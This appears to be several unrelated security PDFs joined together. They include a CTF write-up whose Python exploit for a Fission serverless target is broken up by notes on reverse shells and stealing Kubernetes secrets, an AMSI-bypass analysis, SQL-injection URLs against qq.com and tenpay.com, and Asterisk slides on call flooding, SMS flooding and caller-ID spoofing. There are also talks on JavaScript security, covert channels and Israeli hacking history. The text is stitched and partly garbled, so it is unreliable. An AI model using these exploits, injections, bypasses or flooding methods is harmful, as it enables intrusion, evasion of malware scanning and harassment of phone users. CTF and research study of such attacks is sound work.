"v2/packages/options-trigger-80f00d41-6f9c-48a4-9bae- e86939868571" dd['file'] = base64.b64encode(package_data.encode()).decode() # dd = json.loads(package_data) print(dd) # resp = requests.put(" <http://localhost:31313/{}".format("v2/packages/options-trigger-08622810-d496- 4e81-8bda-823a1e3c39b0>"), json=dd) resp = requests.post(" <http://fn10031884.serverless.cloud.d3ctf.io/upload>", json=dd) print(resp.text) time.sleep(2) def changeFunction(): 弹回来了之后,因为secret不在docker⾥⾯⽽是在k8s集群的sescrets⾥⾯,所以需要提权 各种提权漏洞⽆果后去研究fission的定义,发现可以⽤spec的⽅式挂在宿主机⽂件 后⾯就是 把集群⾥⾯controller.fission(fisson的控制器的svc)代理到本机 然后新建fission的spec 把宿主机的⽬录挂在到docker⾥⾯ 然后拿到集群权限 ./fission —server localhost: spec apply 然后等着接shell 然后拿到宿主机⽂件系统的内容,上⾥⾯找k8s凭据,最后读secretsjiu wan shi l Misc Virtual Love_Revenge VMX被加密了 VMDK⽂件头被动过,补⼀下 4B 44 4D 56 01 00 00 00,VMDK Descriptor好像也缺东⻄,也照着抄⼀ 下 Descriptor⾥⾯缺parent CID,还有每个卷的⽂件名都不对 dd = dict(data) dd['key'] = "v2/functions/options-trigger" dd['file'] = base64.b64encode(function_data.encode()).decode() # dd = json.loads(function_data) print(dd) # resp = requests.put(" <http://localhost:31313/{}".format("v2/functions/options-trigger>"), json=dd) resp = requests.post(" <http://fn10031884.serverless.cloud.d3ctf.io/upload>", json=dd) print(resp.text) time.sleep(2) def trigger(): resp = requests.get(" <http://fn10031884.serverless.cloud.d3ctf.io/upload123>") print(resp.text) if __name__ == "__main__": changePackage() changeFunction() changeTrigger() while True: trigger() time.sleep(2) 还有个0a 20 0d 0a也不对 挂载 拿到解压密码 Virtual Love 直接cat grep⼀下就有了 easyQuantum tcp数据可以 qload http://qutip.org/docs/latest/guide/guide-saving.html root@ubuntu:/mnt/test# cd root/ root@ubuntu:/mnt/test/root# ls 431a60f2bb46c9fcf4f25361c6389f68_7777777h1s anaconda-ks.cfg root@ubuntu:/mnt/test/root# cat 431a60f2bb46c9fcf4f25361c6389f68_7777777h1s f5`FU2)I$F0Oc'qL@pP)S #!/bin/env python3 # <http://qutip.org/tutorials.html> from qutip import * import os from Crypto.Util.number import long_to_bytes ### dump all tcp data and split into single one # split to 569 data qd=[] for i in range(569): if not os.path.exists(f"{i}_.qu"): continue t = qload(f"{i}_") qd.append(t) ### simulated QKD bb84 # qd[0] == qd[1] == 312 # means length of changed secret key is 312 bits # sended quantum data quans=[] # bob response data bob=[] # alice confirm data alice=[] for i in range(len(qd)): if type(qd[i]) == list and type(qd[i][0]) != int: if qd[i+1] == '': continue bob.append(qd[i+1]) alice.append(qd[i+2]) quans.append(qd[i]) a00 = quans[0][0] # array([0.+0.j, 1.+0.j]) a01 = quans[2][0] # array([1.+0.j, 0.+0.j]) a10 = quans[0][1] # array([0.70710678+0.j, 0.70710678+0.j]) a11 = quans[0][2] # array([0.70710678-8.65956056e-17j, -0.70710678+8.65956056e- 17j]) ## return value guessed ## because there are only 4 situations def calb(state, basis): if basis == 0: if (state == a00).all(): return '1' elif (state == a01).all(): return '0' else: return None else: if (state == a10).all(): return '0' elif (state == a11).all(): return '1' else: return None res = '' # len(alice) == len(bob) == len(quans) == 168 for i in range(168): for j in range(4): if alice[i][j] == 1: tmp = calb(quans[i][j], bob[i][j]) if tmp is None: print(f"{i}:{j} : {quans[i][j]},{bob[i][j]} not found") continue res += tmp # assert(len(res) == 312) # qd[-1] == '0x1ff55f399084148d6d3c2f0d249e035f04726537e6449556c2aa5c088d7ada2d61099611b88f bb' print(long_to_bytes(int(qd[-1], 16) ^ int(res, 2))) Signin 签到 shellgen2 先写了⼀个,提示⻓度过⻓,测试了⼀部分后确定给定的字符串只有⼩写字⺟ 直接⽤_09排列⼀下,造出来26个变量,可以⼤⼤减少⻓度 ⽤<?=输出即可 from itertools import permutations li = ['0','9','_'] dic = {} x = 'a' for i1 in li: for i2 in li: for i3 in li: tmp = '$_'+i1+i2+i3 dic[x] = tmp if(x == 'z'): break x = chr(ord(x)+1) text = "<?php " text += '$_=[].[];$_=$_.$_;$_=$_[9+9];' for i in range(ord('a'),ord('z')+1): text += "%s=$_++;"%dic[chr(i)] text += "?>" x = input() text += "<?=" for i in range(len(x)): if i > 0: text += '.' text += dic[x[i]] text += "?>" print(text) # open("./1.php","w").write(text)
pdf
Bypass AMSI的前世今生(6) - .net和wmi(完结) 0x00 前言 这是这个系列完结篇了,其实读完并跟随文章实际测试完前5篇,对抗AMSI应该手到擒来了。这一篇主 要分析下AMSI在.net和WMI中的应用,以分析调用流程为主,对抗方式为辅。明白了原理,在实际攻防 中灵活运用就行了。 0x01 .Net如何调用AMSI 通过第一篇文章我们知道.net调用amsi.dll的文件是clr.dll 我们通过IDA静态分析找到相应的调用函数,如下是F5后的伪代码: C:\Windows\WinSxS\amd64_netfx4- clr_dll_b03f5f7f11d50a3a_4.0.15805.360_none_395be0019a54e460\clr.dll __int64 __fastcall sub_1805F7BE0(__int64 a1, unsigned int a2) { __int64 result; // rax __int64 v5; // rsi int v6; // ebx __int64 v7; // rdi HMODULE v8; // r14 __int64 v9; // [rsp+38h] [rbp-18h] BYREF int v10; // [rsp+40h] [rbp-10h] void *v11; // [rsp+48h] [rbp-8h] void *retaddr; // [rsp+78h] [rbp+28h] BYREF unsigned int v13; // [rsp+90h] [rbp+40h] BYREF __int64 v14; // [rsp+98h] [rbp+48h] BYREF result = (__int64)&retaddr; v5 = qword_180A19640; v9 = qword_180A19640; v6 = 0; v10 = 0; if ( qword_180A19640 ) {   result = sub_180033588(qword_180A19640);   v6 = 1;   v10 = 1; } v7 = qword_180A33D40; if ( !qword_180A33D40 && byte_180A34740 == (_BYTE)qword_180A33D40 ) {   result = sub_18015A744();   if ( (_DWORD)result     && (result = LoadLibraryEx(L"amsi.dll", 0i64, 0x800u), (v8 = (HMODULE)result) != 0i64)     && (result = (__int64)GetProcAddress((HMODULE)result, "AmsiInitialize"), (qword_180A33D30 = result) != 0)     && (v14 = 0i64,         result = ((__int64 (__fastcall *)(const wchar_t *, __int64 *))result) (L"DotNet", &v14), Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-20 No. 1 / 9 - Welcome to www.red-team.cn 这个代码如果看着不太明白,我们,可以直接阅读被复原的C代码,来至:https://modexp.wordpress. com/2019/06/03/disable-amsi-wldp-dotnet/,到这儿不由感慨,当我在阅读伪代码的时候,为了搜索 其中一些错误嘛,发现了这篇文章,真的是前任栽树后人乘凉:         !(_DWORD)result) )   {     result = (__int64)GetProcAddress(v8, "AmsiScanBuffer");     qword_180A33D28 = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _DWORD))result;     v7 = qword_180A33D40;     if ( result )       v7 = v14;     qword_180A33D40 = v7;   }   else   {     v7 = qword_180A33D40;   }   byte_180A34740 = 1; } if ( v6 ) {   result = sub_1800335D0(v5);   v10 = 0;   v7 = qword_180A33D40; } if ( v7 ) {   result = qword_180A33D28(v7, a1, a2, 0i64, 0i64, &v13, -2i64, v9, v10);   if ( !(_DWORD)result )   {     if ( v13 >= 0x8000 || (result = v13 - 0x4000, (unsigned int)result <= 0xFFF) )     {       v9 = 0x200000002i64;       v10 = 16;       v11 = &unk_1807EB6E8;       sub_18066E0E8(-2147024671);       sub_18066FA4C(2147942411i64, &v9);     }   } } return result; } AmsiScanBuffer_t _AmsiScanBuffer; AmsiInitialize_t _AmsiInitialize; HAMSICONTEXT     *g_amsiContext; VOID AmsiScan(PVOID buffer, ULONG length) {   HMODULE         amsi;   HAMSICONTEXT     *ctx;   HAMSI_RESULT     amsiResult;   HRESULT         hr;   // if global context not initialized   if(g_amsiContext == NULL) { Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-20 No. 2 / 9 - Welcome to www.red-team.cn 阅读完这个代码,你会发现和第五篇中分析powershell调用amsi.dll大致逻辑差不多。但是对返回的结 果HRESULT的判断不一样,在powershell中返回如果出错,就判断为不被侦测,而.NET中并没有对错误 进行判断,只有 hr == S_OK的判断,也就是说默认返回错误,也就被判断为不被侦测了。因此我们第五 篇文章中的bypass方法也适用于.NET。     // load AMSI.dll     amsi = LoadLibraryEx(       L"amsi.dll",       NULL,       LOAD_LIBRARY_SEARCH_SYSTEM32);     if(amsi != NULL) {       // resolve address of init function       _AmsiInitialize =         (AmsiInitialize_t)GetProcAddress(amsi, "AmsiInitialize");       // resolve address of scanning function       _AmsiScanBuffer =         (AmsiScanBuffer_t)GetProcAddress(amsi, "AmsiScanBuffer");       // failed to resolve either? exit scan       if(_AmsiInitialize == NULL ||           _AmsiScanBuffer == NULL) return;       hr = _AmsiInitialize(L"DotNet", &ctx);       if(hr == S_OK) {         // update global variable         g_amsiContext = ctx;       }     }   }   if(g_amsiContext != NULL) {     // scan buffer     hr = _AmsiScanBuffer(       g_amsiContext,       buffer,       length,       0,       0,               &amsiResult);     if(hr == S_OK) {       // if malware was detected or it's blocked by admin       if(AmsiResultIsMalware(amsiResult) ||           AmsiResultIsBlockedByAdmin(amsiResult))       {         // "Operation did not complete successfully because "         // "the file contains a virus or potentially unwanted"         // software.         GetHRMsg(ERROR_VIRUS_INFECTED, &error_string, 0);         ThrowHR(COR_E_BADIMAGEFORMAT, &error_string);                 }               }   } } Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-20 No. 3 / 9 - Welcome to www.red-team.cn 0x02 WMI如何调用AMSI 说到WMI调用amsi,在第一篇中我们知道是 C:\Windows\System32\wbem\fastprox.dll 在起作用, 我们逆向fastprox.dll。 wmi对amsi的调用和powershll域.net有些区别。但是和jscript、vbscript是一样的。因此这儿你明白了 WMI的调用方式,也就知道了js、vb的调用方式。整体的逻辑是,程序启动的时候调用 JAmsi::JAmsi(void)进行对象初始化,这里面主要是有一个注册表判断: 然后就到了JAmsi::JAmsiInitialize初始化,这又有一个判断,判断当前进程是不是\wbem\wmiprvse.exe JAmsi *__fastcall JAmsi::JAmsi(JAmsi *this) { g_Amsi = JAmsi::JAmsiIsEnabledByRegistry(this); //注册表判断 qword_1800FDEB8 = 0i64; word_1800FDEB1 = 0; dword_1800FDF10 = 0; xmmword_1800FDEC0 = 0i64; InitializeCriticalSection(&CriticalSection); return (JAmsi *)&g_Amsi; Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-20 No. 4 / 9 - Welcome to www.red-team.cn 以上的注册表判断和进程判断都可以阻止amsi.dll后续的调用,其中判断进程是不是wmiprvse.exe比较 有意思,在使用wmi进行横向移动的时候,远程主机上启动的经常就是wmiprvse.exe,非常有针对性 啊。再然后就是JAmsi::JAmsiProcessor函数的调用了,这个函数会调用JAmsi::JAmsiRunScanner,进行 真正的扫描侦测,但是在调用之前还有一次判断JAmsi::JAmsiIsScannerNeeded,是否需要被扫描 也就是我们让JAmsi::JAmsiIsScannerNeeded返回值为false就行了。这个函数里面是一些关键词的crc32 校验: 假如命中了,就直接返回true了,我们的攻击代码就会被扫描,如果没有命中则不会被扫描。具体有哪 些关键词呢?在我想用程序跑的时候,google了一波,只能说"fuck",洋大人都搞完了。但是我没有找 到wmi的相关对应原始字符,后来一想跑不跑意义不大,我们搞定amsi.dll里面的侦测就行了,这儿我也 列以下: Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-20 No. 5 / 9 - Welcome to www.red-team.cn 有兴趣的小伙伴可以用powershell爆破以下: 如下是Jacript/vbscript的: 只有一个没有被搞出来,0990B883这个的原始字符串是_01000001,这么一搜,翻出好过相关文章和 代码。 VBA的如下: https://github.com/synacktiv/AMSI-Bypass/blob/master/vba_com.csv https://github.com/synacktiv/AMSI-Bypass/blob/master/vba_win32.csv 一起其他资料中的一些关键字: if ( v16 == 0x788C9917   || v16 == 0x96B23E8A   || v16 == 0xB8DA804E   || v16 == 0xC0B29B3D   || v16 == 0xD16F4088   || v16 == 0xD61D2EA7   || (v17 = 0, v16 == 0xEF726924) )   if ( v26 == 0x46B9D093 || v26 == 0xF837EFC3 ) Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-20 No. 6 / 9 - Welcome to www.red-team.cn 这儿啊,我忽然想到一个问题,就是你在研究一个项目之前,搜到不到的资料,在你研究过程中,会蹦 出来很多,这是为什么呢?因为,在你研究前,你使用的关键字很有限,比如bypass amsi、amsi等 等,但是其实很多细节研究并没有在关键位置出现这些关键字,当你研究过程中,对这个方向有了一定 认知过后,你能用一些比较精确的关键字搜索了,例如我就用了这个CRC32的校验码,一搜就很精确找 到了一些别人的研究。 下面我列关于这个crc32校验的资料,有兴趣小伙伴自查: https://twitter.com/mattifestation/status/1083190652169408512 https://github.com/tyranid/oleviewdotnet https://www.youtube.com/watch?v=wvOlHbTU0Ew&t=971s https://www.slideshare.net/MSbluehat/bhv18-badly-behaving-scripts-meet-amsi-script-beha vior-instrumentation-and-machine-learning https://posts.specterops.io/antimalware-scan-interface-detection-optics-analysis-methodolo gy-858c37c38383 回归正题,我们知道了,WMI的流程中的各种判断。因此除了我们上一篇文章中的对抗方式,以上点都 是可以对抗的。接下来就是amsi.dll当中的调用了,这里和上一篇中.net有一点不同的是,扫描结果判断 的逻辑和上文中的有所不同: 我们看其中对一处的调用判断,如果返回结果小于0就中断了执行,我们再看JAmsiProcessor中的代 码: v4默认是0,如果JAmsiRunScanner返回结果大于或等于0x4000,v4就成了 0x80004005(-2147467259),因此JAmsiRunScanner的返回值必须小于0x4000(16384),来看下 JAmsiRunScanner的代码: Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-20 No. 7 / 9 - Welcome to www.red-team.cn 图中我鼠标所在的那个函数调用其实就是AmsiScanBuffer调用。 所以我们只要让v2大于0就行了,v5就为1了。原理大概如此。最后我还是尝试调试了以下wmic,执行 了一个常用的wmic命令都没有触发crc32的关键字,导致没有JAmsiRunScanner函数,也就没有被amsi 扫描。最后只能断在JAmsiIsScannerNeeded,观察了下。 0x03 总结 当然杀软对恶意脚本的侦测,不只是有amsi的通道,还有它自己的侦测方式,amsi只是一种补足而已。 bypass amsi系列到此结束了,基本的原理应该都覆盖到了,后面只需要在实战中遇到了相关问题再针 对性解决。对抗永不结束。 typedef HRESULT (WINAPI *AmsiScanBuffer_t)( HAMSICONTEXT amsiContext, PVOID       buffer, ULONG       length, LPCWSTR     contentName, HAMSISESSION amsiSession, AMSI_RESULT *result); Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-20 No. 8 / 9 - Welcome to www.red-team.cn Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-20 No. 9 / 9 - Welcome to www.red-team.cn
pdf
JavaScript在网络安全 中的“身影” 高佳 关于我 职位:斗象科技高级安全研究员 主要负责:众测项目的上线与漏洞审核 • 第一部分 JavaScript的重要性 • 第二部分 JavaScript的信息收集 • 第三部分 JavaScript的前端加密 • 第四部分 JavaScript的混淆与反混淆 目录 JavaScript的重要性 JavaScript的重要性 没有人比我更懂JavaScript JavaScript的重要性 JavaScript的重要性 大人,时代变了 JavaScript的信息收集 JavaScript的信息搜集-URL JavaScript的信息搜集-API JavaScript的信息搜集-密码 JavaScript的信息搜集-业务逻辑 JavaScript的信息搜集 JavaScript的信息搜集 JavaScript的信息搜集 JavaScript的前端加密 JavaScript的前端加密-RSA JavaScript的前端加密-RSA JavaScript的前端加密-RSA JavaScript的前端加密-RSA JavaScript的前端加密-RSA JavaScript的前端加密-签名校验 JavaScript的前端加密-签名校验 JavaScript的前端加密-签名校验 JavaScript的前端加密-签名校验 JavaScript的前端加密-签名校验 JavaScript的前端加密-签名校验 JavaScript的混淆与反混淆 JavaScript的混淆与反混淆 我看你就是在为难我胖虎 JavaScript的混淆方式 JavaScript的混淆方法 变量混淆 JavaScript的混淆方法 字符串混淆 JavaScript的混淆方法 EVAL混淆 JavaScript的EVAL反混淆 JavaScript的EVAL反混淆 JavaScript的EVAL反混淆 JavaScript的混淆方法 函数、数组、对象的混淆 JavaScript的OB反混淆 JavaScript的OB反混淆 JavaScript的OB反混淆 Thank You
pdf
Covert Channels Towards a Qual Project Rachel Greenstadt Harvard University Covert Channels – p.1/21 Overview ■ About covert channels ■ Example channel: TCP timestamps ■ Problems with the example channel ■ Directions in covert channel research Covert Channels – p.2/21 What’s a Covert Channel? ■ A channel transfers information in a way that violates a security policy ■ This comes from military literature ■ Alternately, consider ... Covert Channels – p.3/21 Alice and Bob in Jail ■ Alice and Bob plan to escape ■ But the Warden monitors their messages! ■ If the warden suspects -> solitary confinement Covert Channels – p.4/21 Isn’t that a bit subversive? ■ Well, yes... ■ But censorship resistance ■ And privacy ■ And freedom ■ Ok, how do we start? Covert Channels – p.5/21 Threat Modelling: Know Your Warden ■ Watch traffic over channel Attempt to detect suspicious activity ■ Close off potential channels through filtering ■ Allow legitimate communication. Covert Channels – p.6/21 Covert Channel Properties ■ Undetectability ♦ Plausible (legitimate cover) ♦ Open functionality ♦ Encode the message to match channel statistically ■ Robustness ♦ Message survive natural/malicious lossiness ♦ Indispensable Covert Channels – p.7/21 Example Channel ■ My first publication! ■ joint work with John Giffin, Peter Litwack, Richard Tibbetts ■ Broken in some ways Covert Channels – p.8/21 Why TCP Timestamps? ■ TCP ubiquitous - plausibility ■ Possible to modify the timestamp/delay packets ■ Slow connection - low order bits random ■ Encryption produces random bits ■ Seems simple, encrypt message, hide it in low order bits Covert Channels – p.9/21 Robustness??? ■ Don’t get TCP reliability if you use the timestamps! ■ Bits delivered out of order ■ Bits dropped randomly ■ Data acknowledged, not packets, can’t get reliability there. ■ Timestamps must increase ■ Timestamps are an option, can be replaced/squashed. Covert Channels – p.10/21 How to get reliability? ■ Divide data into blocks ■ Use a hash of the headers to tell receiver which bit is in timestamp ■ Encrypt that bit ■ Make sure you send each bit o times ■ Assume the receiver will get the block, then move on ■ The receiver keeps a checksum to tell when to move on to next block Covert Channels – p.11/21 Sending Data SHA1 Hash of Headers and Key KeyBit Index bits 0-7 bit 8 Current Message Block Plain Text Bit Cipher Text Bit Secret Key Packet Header Covert Channels – p.12/21 Receiving Data SHA1 Current Message Block Hash of Headers and Key KeyBit Index bits 0-7 bit 8 Secret Key Packet Header Timestamp Cipher Text Bit Plain Text Bit Covert Channels – p.13/21 Rewriting the Timestamp LSB of timestamp = cipher text bit? Start Increment timestamp Did the high order bits change? Recompute cipher text bit Done YES NO NO YES Covert Channels – p.14/21 Detecting the TCP Timestamp Channel ■ Drew Hintz, Defcon 10 ■ Problem: Low order bits aren’t cryptographically random ■ Algorithm: ♦ Record all the low bits of the timestamp ♦ Put them through a complex randomness test ♦ If very random, then covert channel used Covert Channels – p.15/21 Can This Idea Be Saved? ■ Increase the occupation number ♦ (or use some less braindead error correctio scheme) ■ Model the distribution of timestamps ■ Remove some packets to lower the entropy of the channel ■ Arms race? Covert Channels – p.16/21 Should This Idea Be Saved? ■ Complex, low bandwidth channel. ■ Easy to remove anyway - timestamps are an option you could strip them from the packets or modify them. ■ Maybe better off with another channel (say TCP initial seq numbers) ♦ Are they really random? ♦ Removable with a 32 bit offset Covert Channels – p.17/21 Security Through Obscurity? ■ Can you have a widespread covert channel? ♦ example: break the Chinese firewall? ■ In crypto, algorithm public, key secret ■ But known channels are closeable ■ Should the channel be secret too? ■ 3 can keep a secret if 2 of them are dead. Covert Channels – p.18/21 Solutions? ■ Superiminal channels. ■ More generalized covert channel scheme ♦ Easy to apply to new channels ♦ In band method of channel rotation. Covert Channels – p.19/21 Back to Randomness ■ Maybe hard if limited to using true cryptographic randomness ■ Need to encrypt to arbitrary distributions ■ Maybe use ECCs and the rejection method ♦ Graph desired distribution, ♦ Pick uniform distribution which is larger ♦ Remove anything which doesn’t fit Covert Channels – p.20/21 Potential Directions ■ Come up with a flexible covert channel scheme which can be used in many channels ■ Create a protocol for jumping between multiple covert channels. Covert Channels – p.21/21
pdf
与业务融合的漏洞检测之路 关于我 • 乌云白帽子 猪猪侠 • 8年信息安全从业经历 • 信息安全领域爱好者 • 安全测试 • 数据挖掘 • 微博:@ringzero DEMO 1 WEB2.0服务端 复杂的用户认证机制,传统漏 洞扫描器无法与业务功能交互 http://v.youku.com/v_show/id_XODc0NjYyODg0.html DEMO 2 移动客户端 功能封闭,导致漏洞扫描器无 法与业务功能交互 http://v.youku.com/v_show/id_XODc0Njc1MzI0.html 旁路传感器还原数据分析出攻击行为 使用业务系统时,从数据流量中检测业务流程漏洞 什么是业务安全? “连接彼此,交换信息。” 保护信息在交换过程中的完整性、可用性、保密性。 什么是业务安全? Information Technology IT 操作系统、数据库、 应用代码指的是技术(基础设施) 信息指的是业务数据,也就是我们要真正要保护的对象 怎么找业务系统的漏洞? • 跟随业务系统内的每一个功能 智能检测缺陷 规则太多 不能通用 错误率高 人机互动 怎么找业务系统的漏洞? • 跟随业务系统内的每一个功能 • 代码设计(关系型数据库) 增删改查(CURD) • 创建(Create)# 发布一条微博 • 删除(Delete)# 删除一条微博 • 更新(Update)# 修改用户资料 • 读取(Retrieve)# 查看好友们最新发布的微博 一些案例 案列1:有排序的地方 案列2:有分页的地方 http://apps.2012.qq.com/guess/list-tid--stat-4?sort=de sc,if%28%281=2%29,1,%28select/**/1/**/from/**/INFORMAT ION_SCHEMA.TABLES%29%29%20asc 案列3:有搜索的地方 案列4:有分类的地方 案列5:有选择的地方 http://life.tenpay.com/cgi-bin/mobile/mobile_order_que ry.cgi?g_tk=1233447418&tid=01001004&showtry=1& amp;chg mobile=13800138000&uin=uid&startdate=20130108& enddate =20130408&state=0/**/union/**/select/**/1,2,3,4,5,6,7, user%28%29,9,0%23 怎么找业务系统的漏洞? • 跟随业务系统内的每一个功能 • 代码设计(关系型数据库) • 每个业务都有自身的业务流程 增删改查(CURD) • 创建(Create)# 发布一条微博 • 删除(Delete)# 删除一条微博 • 更新(Update)# 修改用户资料 • 读取(Retrieve)# 查看好友们最新发布的微博 安全是一个整体,保证安全不在于强大的地方有多强大, 而在于真正薄弱的地方在哪里 DNS安全--万网(这不是XSS) 最安全的DNS 找回密码设计--业务流程安全 How? • 基于开源 Python,Mysql,Linux,Phantomjs, Redis,Celery,Nmap,Php • 脚本套脚本 • 队列管理:拥塞、出错 • 分布式框架 模块关系 Redis (数据存储、进程通信) Worker1 WorkerN Worker2 监控后台 下达命令 执行命令 报告状态 查看状态 数据代理 放入任务 处理任务 查询、优先 错误处理 异步检测队列工作原理 任务队列 流量分析 控制台 (producer) Worker1 Worker2 WorkeN 。。。 push pop 客户端 业务数据流 数据代理 (Proxy) • 数据代理采集流量 • 控制台分析数据,向队列压入任务 • Redis队列系统等待Worker取任务 • Worker执行任务,并返回结果存储到数据库 任务队列的Redis存储设计 md5 Task (json) 任务md5索引 Hash 任务队列1 (List) 故障队列1 (List) 任务队列2 故障队列2 Push 任务队列和错误队列一一对应,方便管理 Worker模型 扫描线程1 扫描线程 2 扫描线程 N 扫描线程管理器 指令线程(Command thread) Celery 配置中心 扫描队列 扫描队列 调度 错误队列 状态 报告 worker Redis 任务 报告 报告 pull push worker指令线程:工作机状态报告:线程工作调度;杀死/取消进程 Task可报告工作进程的pid,监控后台可下指令杀死卡死的进程 Worker管理 Worker任务状态管理 Worker线程池 简单不简单 • 摩尔定律带来灾难 • 生产力释放 • 社区更加开放 • 漏洞规则库 • 330个漏洞利用脚本 Apache Geronimo Default Administrative Credentials.script Pending Apache httpOnly Cookie Disclosure.script Pending Apache mod negotiation Filename Bruteforcing.script Pending Apache Proxy CONNECT Enabled.script Pending Apache Roller Audit.script Pending Apache Running As Proxy.script Pending Apache Server Information.script Pending Apache Solr Exposed.script Pending Apache Unfiltered Expect Header Injection.script Pending Apache XSS via Malformed Method.script Pending ASP NET Error Message.script Pending ASP NET Forms Authentication Bypass.script Pending ASP NET Oracle Padding.script Pending Clickjacking X Frame Options.script Pending ClientAccessPolicy XML.script Pending ColdFusion Audit.script Pending ColdFusion User Agent XSS.script Pending ColdFusion v8 File Upload.script Pending ColdFusion v9 Solr Exposed.script Pending Crossdomain XML.script Pending Django Admin Weak Password.script Pending elasticsearch Audit.script Pending elmah Information Disclosure.script Pending Error Page Path Disclosure.script Pending Fantastico Filelist.script Pending Flask Debug Mode.script Pending Frontpage authors pwd.script Pending Frontpage Extensions Enabled.script Pending Frontpage Information.script Pending GlassFish Audit.script Pending Heartbleed Bug.script Pending Horde IMP Webmail Exploit.script Pending IIS Global Asa.script Pending IIS Internal IP Address.script Pending IIS service cnf.script Pending IIS Unicode Directory Traversal.script Pending IIS v5 NTML Basic Auth Bypass.script Pending Ioncube Loader Wizard.script Pending JBoss Audit.script Pending Jenkins Audit.script Pending lighttpd v1434 Sql Injection.script Pending Lotus Domino crlf xss.script Pending MongoDB Audit.script Pending Movable Type 4 RCE.script Pending ms12-050.script Pending Nginx PHP FastCGI Code Execution File Upload.script Pending Options Server Method.script Pending Oracle Reports Audit.script Pending Flask Debug Mode.script Pending Frontpage authors pwd.script Pending @jannock & 乌云所有白帽子们的无私分享 欢迎加入白帽子阵营,一起为互联网解决安全问题。 Thanks for everyone
pdf
From “One Country - One Floppy” to “Startup Nation” The story of the early days of the Israeli hacking community I We* * Unless otherwise stated #whoarewe + #whyarewehere 1975 1984 1988 1993 2011 2015 1977 1986 2004 2011 2013 Some of the people in our story Hacking Cracking Phreaking Carding 90’s Terminology Hacking Cracking Phreaking Carding 90’s Terminology Telephony + The BBS Scene The BBS Scene BBS Mischief The Story of the Ethics Group Going global Internet Timeline in US vs. Israel So we understand we need to take care of ourselves + + Phreaking 208057040540 TYMNET PCP OUTDIALS: A listing of Pc-Pursuit out-dials usuable on Tymnet o r most X.25 systems. These are very good quality outdi als for the most part. Compiled : 01/05/91 Author : Net Runner Editor : Net Runner System : TymNet PCPursuit Outdials Uses : Calling to most major North American cities Dialups : Multiple Tymnet dialups per LATA Port : 2400 bps, 7 bits, Even Pairity, 1 Stop Bit Emulation. : ANSI, TTY, Vt-52, Vt-100 3110 2010 0001 ( 300 baud) (Newark, NJ) 3110 2010 0301 (1200 baud) (NJNEW) 3110 2010 0022 (2400 baud) (E.C. 201) 3110 2020 0115 ( 300 baud) (Washington, DC) 3110 2020 0116 (1200 baud) (DCWAS) 3110 2020 0117 (2400 baud) (E.C. 202, 703, 301) 3110 2030 0105 ( 300 baud) (Hartford, CT) 3110 2030 0120 (1200 baud) (CTHAR) 3110 2030 0121 (2400 baud) (E.C. 203) Learning to Code Reverse Engineering Contributions to the Community Anti Debugging Tricks Anti Debugging Tricks EXCLUSIVE
 Not only code… The Story of unAsi And the result… And also… UnTinyProg Hardware Copy Protection The Virus Scene: The Bad Guys Jerusalem Haifa Local Initiatives The Virus Scene: 
 The Good Guys The Virus Scene: The Good Guys The Virus Scene: The Good Guys The Virus Scene: The Good Guys An Anecdote Carding CBI & TRW Trade vs. Use:
 Hacker Ethics Famous Busts Deri Schreibman (1991) Analyzer (1998, 2008, 2013) Michael HaEfrati (2005) The Trojan Horse story The Hacker from Ashkelon (2017) Recent History Epilogue Where are they now? !הבר הדות
pdf
Weaponize Your Feature Codes By MasterChen Who Am I? • GreyNoise Podcast Co-Founder and Co-Host https://greynoi.se • SYNShop Hackerspace member http://synshop.org • 2014 & 2016 BSidesLV Speaker • “What I Learned As A Con Man” • “A Peek Behind Vegas Surveillance” • 2015 DC Skytalks Speaker • “Automate Your Stalking” • 2600: The Hacker Quarterly • “Asterisk: The Gatekeeper” • “Asterisk: The Busybox” Why this talk? • I became enamored with phone phreaking after DEF CON 15, but I missed the boat! • Wait… phreaking isn’t dead! We have VoIP! • Today’s focus • Call flooding using feature codes • SMS flooding using feature codes • Caller ID spoofing using feature codes • Potential for even more “features” Basic Terminology • Vertical Service Code (aka Star Code, Feature Code): is a special code dialed that engages some type of special telephone service • Private Branch eXchange (PBX): telephone exchange/switching system that serves a private organization and performs concentration of central office lines or trunks and provides intercommunication between a large number of telephone stations in the organization. The History of the Feature Code • Developed by AT&T; Custom Local Area Signaling Service (CLASS) in 1960s & 70s • CLASS was an AT&T trademark, so “vertical service code” was adopted by North American Numbering Plan Administration • Called “vertical” because the codes were used on the local Central Office (CO) and not horizontally to a different telephone company Our Feature Codes North American Numbering Plan Administration (NANPA) What Do We Mean By “Weaponize”? • Weaponize (v.): convert to use as a weapon • Feature codes aren’t inherently malicious • Scope of damage • Simple annoyance to business and personal relationship disruption Materials You Will Need • Linux machine • Asterisk Software PBX by Digium installed on that Linux Machine • VoIP service provider (Vitelity, Bandwidth, Ring Central, etc) • Hard/Soft phone registered with your PBX • Imagination The Structure of Our Feature Codes • [context-label] : This denotes the start of a context in Asterisk; basically, a piece of your dial plan • *4X. : • * is the beginning of the feature code you will use to start the feature • 4 is from what we selected earlier to preserve the standard vertical service codes • X is a placeholder for any number between 0-9 (we don’t have that many features….yet. • . Tells Asterisk to accept any numbers after “<X> as input from the user. • Example: *427028675309 *40 - The Call Flood *40 – The Call Flood (continued) *40 = The Call Flood (continued) • Demo time! *40 - Mitigation Techniques • Pattern matching call drop (Asterisk) • Beaten by changing Caller ID on a per call basis (in the call script) • What about phones that do not hide behind a PBX? *41 – The SMS Flood *41 – SMS Flood (continued) • Demo time…. Again! *41 Practical Use • Click the malicious link. It will make this all go away. • The crazy “3 AM” texts from a mistress. *41 – SMS Flood Mitigation • Up to the carrier to limit delivery of SMS • Use Google Voice (Flood works against Project Fi) • Turn off your cell phone! • …just kidding. The flood will continue when the phone turns back on *42 – A Spoofy Ghost *42 – Stop! *42 – Spoofing is NOT new, but still practical • Used in social engineering attack vectors to gain trust • Voicemail hacking, but this is becoming less viable So what about all that Imagination talk? • We still have *43 - *49 at our disposal • Preset attack structures • Nmap scan with IP address as dialed input? • Ideas from the audience? • Launch automated campaigns without being at a computer References • Vertical 